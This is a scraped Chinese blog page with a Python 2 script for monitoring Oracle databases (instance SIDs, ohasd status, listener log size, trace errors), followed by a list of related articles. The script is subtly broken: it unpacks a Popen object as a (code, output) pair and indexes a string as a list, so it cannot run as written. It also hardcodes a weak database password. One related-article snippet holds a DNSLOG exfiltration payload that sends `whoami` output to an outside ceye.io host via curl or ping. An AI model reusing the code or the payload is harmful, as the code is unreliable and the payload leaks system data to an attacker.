python代码

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import subprocess
import sys
import re def run_cmd(cmd, cwd=None, runas=None):
if not sys.platform.startswith('win') and runas and runas != 'root':
cmd = 'su - {} -c "{}"'.format(runas, cmd)
proc = subprocess.Popen(cmd,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
shell=True,
cwd=cwd)
return proc def get_os_oracle_user():
cmd = ''' ps -ef | grep ora_ | grep -v grep | awk '{ print $1 }' | uniq '''
code, res = run_cmd(cmd)
if code == 0:
os_oracle_user = res
return os_oracle_user
else:
print "获取运行database的操作系统用户失败...", res
sys.exit(1) def get_grid_user():
cmd = '''ps -ef | grep asm_pmon | grep -v grep |uniq'''
return_code, result = run_cmd(cmd)
if return_code == 0 and result:
os_oracle_user = result.split('\n')[0].split()[0].strip()
return os_oracle_user
else:
print "获取运行database的操作系统用户失败...", result
sys.exit(1) class Oracle_init():
"""所有监控oracle的基类"""
def __init__(self, user='monitoruser', password='123456'):
try:
if user == 'sysdba':
self.user = '/ as sysdba'
elif user and password:
self.user = '{0}/{1}'.format(user, password)
else:
self.user = None
self.os_oracle_user=get_os_oracle_user()
except Exception as err:
print err
sys.exit(1) def run_cmd(self,sid,cmd):
cmd = r'''su - {} -c "export ORACLE_SID={}
sqlplus -S /nolog <<EOF
conn /as sysdba;
{}
exit;
EOF"'''.format(self.os_oracle_user, sid,cmd)
code, res = run_cmd(cmd)
error=self.check_error(res)
if error:
print error
sys.exit(1)
else:
return res def check_error(self,res):
if re.search(r'ORA-01017', res):
error = '账号或密码错误'
elif re.search(r'ORA-01034', res):
error = '数据库不可用'
elif re.search('ORA-\d+:[\s\S]*', res):
error = re.search('ORA-\d+:[\s\S]*', res).group()
else:
error = None
return error # 获取所有实例名
def get_sids():
sids = ''
cmd = "ps -ef|grep -v grep |grep ora_pmon|awk '{print $NF}'|sed 's/ora\_pmon\_//'|uniq"
code, res = run_cmd(cmd)
if not code and res:
sids = res.replace('\n', ' ')
return sids ########判断ohasd状态##############
def get_oracleOhasdStatus():
try:
cmd = "ps -ef | grep ohasd.bin|grep -v grep"
code,res=run_cmd(cmd)
if code:
return False
else:
return True
except Exception as err:
sys.stderr.write(err.__str__() + '\n')
return False ################监听日志大小##############
def get_oracle_listenerLog(sid):
try:
global is_cluster
if is_cluster:
user=get_grid_user()
else:
user= get_os_oracle_user()
cmd = 'su - {} -c "export ORACLE_SID={};' \
'du -sm $ORACLE_BASE/diag/tnslsnr/`hostname`/listener/trace/listener.log"'.format(user,sid)
code,res=run_cmd(sid, cmd)
if not res:
print '未获得数据'
sys.exit(1)
else:
return res.split()[0]
except Exception as err:
sys.stderr.write(err.__str__() + '\n')
return -1 ################监听trace文件# ##############
def get_oracleTrace(sid):
try:
global is_cluster
if is_cluster:
user = get_grid_user()
cmd = 'su - {} -c "export ORACLE_SID={};cat $ORACLE_BASE/diag/asm/+asm/$ORACLE_SID/trace/alert_+ASM1.log |egrep \'ORA-|ERROR\'"'.format(
user, sid)
else:
user = get_os_oracle_user()
cmd='su - {} -c "export ORACLE_SID={};cat $ORACLE_BASE/diag/rdbms/$DB_UNIQUENAME/$ORACLE_SID/trace |egrep \'ORA-|ERROR\'"'.format(
user, sid) code, res = run_cmd(sid, cmd)
if not res:
print '未获得数据'
sys.exit(1)
else:
return res.split()[0]
except Exception as err:
sys.stderr.write(err.__str__() + '\n')
return -1 if __name__=='__main__':
output = "metric=%s|value=%d|type=%s|tags=%s"
print output % ("system.file.number", get_oracleOhasdStatus(), 'gauge', '') obj = Oracle_init(user='monitoruser', password='123456') sql_cmd = "select value from v\\\$parameter where name='cluster_database';"
sids=get_sids()
res=obj.run_cmd(sids[0],sql_cmd)
res=res.split('\n')
length=len(res)
is_cluster=None
for i in range(-1,-1-length,-1):
if not i :
continue
if i.strip()=='False':
is_cluster=False
break
if i.strip()=='True':
is_cluster=True
break
if is_cluster is None:
print '无法判断是否是集群'
sys.exit(1) for sid in sids:
print output % ("system.file.number", get_oracle_listenerLog(sid), 'gauge', '')
print output % ("system.file.number", get_oracleTrace(sid), 'gauge', '')

  

oracle监控的更多相关文章

  1. oracle 监控执行的sql语句

    oracle 监控执行的sql语句 select * from v$sqlarea a where module='PL/SQL Developer' order by a.FIRST_LOAD_TI ...

  2. oracle监控参数

    Sar –u 检查CPU的繁忙程度列说明Usr用户模式下cpu运行所占的百分比Sys系统模式下cpu运行所占的百分比Wio因为有进程等待块I/O而使cpu处于闲置状态所占百分比IdleCpu为闲置状态 ...

  3. oracle监控脚本

    简单命令 1.显示服务器上的可用实例:ps -ef | grep smon2.显示服务器上的可用监听器:ps -ef | grep -i listener | grep -v grep3.查看Orac ...

  4. Oracle监控代理安装ITM(IBM Tivoli Monitoring)

    1 监控代理安装 2 1.1 安装 2 1.1.1 解压安装包 2 1.1.2 安装 2 1.2 配置 5 1.2.1 给Agent授权 5 1.2.2 配置Oracle Agent 10 目录 1  ...

  5. zabbix oracle监控插件orabbix部署安装

    1,下载orabbix插件包(插件包同时满足在大部分POSIX-linux及unix和大部分版本的windows下运行,玩转类似但不等同于Tomcat) wget http://www.smartma ...

  6. Oracle 监控索引使用

    Oracle提供一个监控索引的方法,来确定索引是否被使用.如果索引没有被使用,就可以删除它们以减少不必要的语句的开销.因为表上的大量不必要的索引可能会降低DML语句的性能,给数据库性能产生压力.所以生 ...

  7. oracle监控脚本【转】

    1. 监控事例的等待 select event,sum(decode(wait_Time,0,0,1)) "Prev", sum(decode(wait_Time,0,1,0)) ...

  8. Oracle监控的关键指标

    1.监控事例的等待 select event, , , )) "Prev", , , )) "Curr", count(*) "Tot" f ...

  9. 转 oracle 监控执行计划突然变化

    ########sample 执行计划突然变化 问题: 接受到一条信息,执行计划突然变化了. SELECT /*+ db120190621 no_expand */ INTERNAL_KEY FROM ...

随机推荐

  1. 使用Ruby处理大型CSV文件

    处理大型文件是一种内存密集型操作,可能导致服务器耗尽RAM内存并交换到磁盘.让我们看一下使用Ruby处理CSV文件的几种方法,并测量内存消耗和速度性能. Prepare CSV data sample ...

  2. Django之组件--cookie与session

    cookie组件 cookie:由服务器产生,存放在客户端浏览器上的键值对. 使用: -设置值: obj=HttpResponse('ok') obj.set_cookie('key','value' ...

  3. java assert的用法简介【转】

    assert的基本用法 assertion(断言)在软件开发中是一种常用的调试方式,很多开发语言中都支持这种机制,如C,C++和Eiffel等,但是支持的形式不尽相同,有的是通过语言本身.有的是通过库 ...

  4. DNSLOG的Payload

    命令执行处 linux curl http://ip.port.b182oj.ceye.io/`whoami` ping `whoami`.ip.port.b182oj.ceye.io windows ...

  5. golang channle close() x,ok := <- c

    close为内置函数 close内置函数关闭一个通道channle,其效果为:在最后的值从已关闭的信道中被接收后,任何对其的接收操作都会无阻塞的成功.对于已关闭的信道使用v,ok := <-   ...

  6. Spring Boot 启动:No active profile set, falling back to default profiles: default

    启动 Spring Boot 失败,但是没有出现多余的异常信息: 检查之后发现是依赖的问题(之前依赖的是 spring-boot-starter),修改即可: 方法二: pom.xml加上下面两个依赖 ...

  7. vuex中strict严格模式

    开启严格模式,仅需在创建 store 的时候传入strict: true const store = new Vuex.Store({ state, strict:true//开启严格模式后,只能通过 ...

  8. MySQL Connector 编程

    MySQL Connector 是MySQL数据库客户端编程的接口, 它提供了通过网络访问数据库的接口, 这些功能在动态链接库(.dll, .so)或者静态对象库(.lib, .a)中实现. 使用时必 ...

  9. 万能五笔输入法"@相反

    经过查找资料,发现是因为键盘使用的英国导致,改为美国解决,其他输入法没发现这个问题.

  10. 27. Spring Boot 缓存注解详解: @Cacheable、@CachePut、 @CacheEvict、@Caching、@CacheConfig

     1.使用OGNL的命名规则来定义Key的值 @Cacheable(cacheNames = {"user"},key = "#root.methodName + '[' ...